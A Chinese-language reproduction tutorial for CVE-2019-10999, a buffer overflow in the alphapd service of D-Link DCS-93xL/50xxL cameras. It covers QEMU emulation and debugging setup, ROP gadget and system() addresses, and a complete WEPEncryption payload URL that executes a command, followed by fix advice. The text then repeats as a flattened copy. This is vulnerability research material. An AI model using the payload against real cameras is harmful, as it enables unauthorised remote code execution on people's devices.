CVE-2019-10999复现
字数 1289 2025-08-27 12:33:37

CVE-2019-10999漏洞分析与复现教程

漏洞概述

CVE-2019-10999是Dlink DCS-93xL、DCS-50xxL系列摄像头中存在的一个缓冲区溢出漏洞。该漏洞存在于设备的alphapd服务中,当处理wireless.htm页面时,对WEPEncryption参数值未进行长度检查,导致缓冲区溢出,攻击者可利用此漏洞执行任意命令。

漏洞影响范围

  • 受影响设备:Dlink DCS-93xL、DCS-50xxL系列摄像头
  • 受影响固件版本:所有版本

漏洞分析

漏洞位置

漏洞位于alphapd服务中处理wireless.htm页面的功能模块。当URL中包含WEPEncryption参数时,服务会将用户传入的值复制到固定大小的缓冲区中,但没有进行长度检查。

技术细节

  1. 溢出点:buf和返回地址ra之间相差0x28个字节
  2. 攻击向量:通过构造特制的WEPEncryption参数值,可以覆盖返回地址
  3. 利用条件:需要能够向设备发送HTTP请求

环境搭建与复现

准备工作

  1. 获取固件:DCS-932L v1.14.04
  2. 解包固件
  3. 安装必要工具:
    • IDA Pro(用于逆向分析)
    • QEMU(用于模拟MIPS环境)
    • GDB(用于调试)

模拟运行alphapd服务

由于模拟环境缺少NVRAM配置,需要使用nvram-faker构建劫持库:

git clone https://github.com/zcutlip/nvram-faker.git

提取默认配置

grep -rin --color "SecondHTTPPortEnable"
cat etc_ro/Wireless/RT2860AP/RT2860_default_vlan > nvram.ini
cp nvram.ini ~/nvram-faker

编译库文件

./buildmipsel.sh

解决运行问题

  1. 创建必要的pid文件:

    mkdir -p cpio-root/var/run
    touch cpio-root/var/run/alphapd.pid
    touch cpio-root/var/run/nvramd.pid
    
  2. 解决随机数设备问题:

    sudo chroot . /bin/mknod -m 0666 /dev/random c 1 8
    sudo chroot . /bin/mknod -m 0666 /dev/urandom c 1 9
    
  3. 设置环境变量:

    touch .rnd
    export HOME=.
    export RANDFILE=$HOME/.rnd
    
  4. 绕过IP获取问题:修改代码跳过GPIO设备接口检查

启动服务

sudo chroot . ./qemu-mipsel-static -E LD_PRELOAD="./libnvram-faker.so" /bin/alphapd

漏洞利用

利用步骤

  1. 确定lib库基址:0x77ed3000
  2. 定位system函数地址:0x0004BD20(在libuClibc-0.9.28.so中)
    • 内存中的实际地址:0x0004BD20 + 0x77ed3000 = 0x77f1ed20
  3. 寻找ROP gadget:
    • 使用IDA的mipsrop插件查找
    • 关键gadget地址:0x00050DE4 + 0x77ed3000 = 0x77f23de4

构造payload

  1. 填充0x28字节的A
  2. 覆盖返回地址为ROP gadget地址
  3. 设置s0寄存器为system地址
  4. 构造命令字符串

示例payload URL:

http://0.0.0.0:18080/wireless.htm?WEPEncryption=AAAAAAAAAAAAAAAA%20%ed%f1%77AAAAAAAAAAAAAAAAAAAA%e4%3d%f2%77AAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBreboot

调试技巧

  1. 使用gdbserver附加调试:

    gdbserver --attach 0.0.0.0:4444 <pid>
    
  2. 安装pwndbg插件(比peda更适合MIPS架构):

    git clone https://github.com/pwndbg/pwndbg
    cd pwndbg
    ./setup.sh
    
  3. 解决unicorn安装问题:

    UNICORN_QEMU_FLAGS="--python=/usr/bin/python2.7" pip install unicorn
    

实机测试

  1. 获取早期固件版本(如1.0),其中默认开启telnet服务
  2. 通过telnet获取库基址
  3. 构造payload进行测试

对于高版本固件:

  1. 通过串口调试获取库基址
  2. 焊接TTL接口进行调试

修复建议

  1. 对WEPEncryption参数值进行长度检查
  2. 更新到最新固件版本
  3. 禁用不必要的服务(如telnet)

总结

CVE-2019-10999是一个典型的缓冲区溢出漏洞,通过精心构造的HTTP请求可以实现远程代码执行。复现过程中主要挑战在于环境搭建和调试,特别是MIPS架构下的ROP链构造。该漏洞的利用展示了物联网设备中常见的安全问题,强调了输入验证和安全编码实践的重要性。

CVE-2019-10999漏洞分析与复现教程 漏洞概述 CVE-2019-10999是Dlink DCS-93xL、DCS-50xxL系列摄像头中存在的一个缓冲区溢出漏洞。该漏洞存在于设备的alphapd服务中,当处理wireless.htm页面时,对WEPEncryption参数值未进行长度检查,导致缓冲区溢出,攻击者可利用此漏洞执行任意命令。 漏洞影响范围 受影响设备:Dlink DCS-93xL、DCS-50xxL系列摄像头 受影响固件版本:所有版本 漏洞分析 漏洞位置 漏洞位于alphapd服务中处理wireless.htm页面的功能模块。当URL中包含WEPEncryption参数时,服务会将用户传入的值复制到固定大小的缓冲区中,但没有进行长度检查。 技术细节 溢出点:buf和返回地址ra之间相差0x28个字节 攻击向量:通过构造特制的WEPEncryption参数值,可以覆盖返回地址 利用条件:需要能够向设备发送HTTP请求 环境搭建与复现 准备工作 获取固件:DCS-932L v1.14.04 解包固件 安装必要工具: IDA Pro(用于逆向分析) QEMU(用于模拟MIPS环境) GDB(用于调试) 模拟运行alphapd服务 由于模拟环境缺少NVRAM配置,需要使用nvram-faker构建劫持库: 提取默认配置 编译库文件 解决运行问题 创建必要的pid文件: 解决随机数设备问题: 设置环境变量: 绕过IP获取问题:修改代码跳过GPIO设备接口检查 启动服务 漏洞利用 利用步骤 确定lib库基址:0x77ed3000 定位system函数地址:0x0004BD20(在libuClibc-0.9.28.so中) 内存中的实际地址:0x0004BD20 + 0x77ed3000 = 0x77f1ed20 寻找ROP gadget: 使用IDA的mipsrop插件查找 关键gadget地址:0x00050DE4 + 0x77ed3000 = 0x77f23de4 构造payload 填充0x28字节的A 覆盖返回地址为ROP gadget地址 设置s0寄存器为system地址 构造命令字符串 示例payload URL: 调试技巧 使用gdbserver附加调试: 安装pwndbg插件(比peda更适合MIPS架构): 解决unicorn安装问题: 实机测试 获取早期固件版本(如1.0),其中默认开启telnet服务 通过telnet获取库基址 构造payload进行测试 对于高版本固件: 通过串口调试获取库基址 焊接TTL接口进行调试 修复建议 对WEPEncryption参数值进行长度检查 更新到最新固件版本 禁用不必要的服务(如telnet) 总结 CVE-2019-10999是一个典型的缓冲区溢出漏洞,通过精心构造的HTTP请求可以实现远程代码执行。复现过程中主要挑战在于环境搭建和调试,特别是MIPS架构下的ROP链构造。该漏洞的利用展示了物联网设备中常见的安全问题,强调了输入验证和安全编码实践的重要性。